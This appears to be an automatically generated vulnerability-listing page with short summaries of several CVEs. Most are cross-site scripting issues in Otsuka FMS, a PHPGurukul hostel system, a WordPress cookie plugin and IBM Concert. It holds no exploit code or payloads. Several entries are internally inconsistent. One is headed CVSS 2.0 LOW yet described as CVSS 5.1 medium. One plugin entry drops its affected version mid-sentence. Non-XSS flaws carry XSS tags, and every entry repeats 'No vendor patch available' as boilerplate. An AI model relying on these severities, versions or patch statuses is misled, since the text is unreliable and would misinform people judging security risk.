NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

FMS developed by Otsuka Information Technology has a Reflected Cross-site Scripting vulnerability, allowing unauthenticated remote attackers to execute arbitrary JavaScript codes in user's browser. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 2.0
LOW Monitor

A flaw has been found in PHPGurukul Hostel Management System 2.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Cookie Notice & Compliance for GDPR / CCPA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cookies_accepted shortcode in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.3
MEDIUM This Month

IBM Concert Software 1.0.0 through 2.0.0 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 6.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Concert
NVD
EPSS 0% CVSS 7.4
HIGH This Month

This vulnerability allowed a site to enter fullscreen, after a user click, without a full-screen notification (toast) appearing. Rated high severity (CVSS 7.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38882

Related CWEs

MITRE ATT&CK

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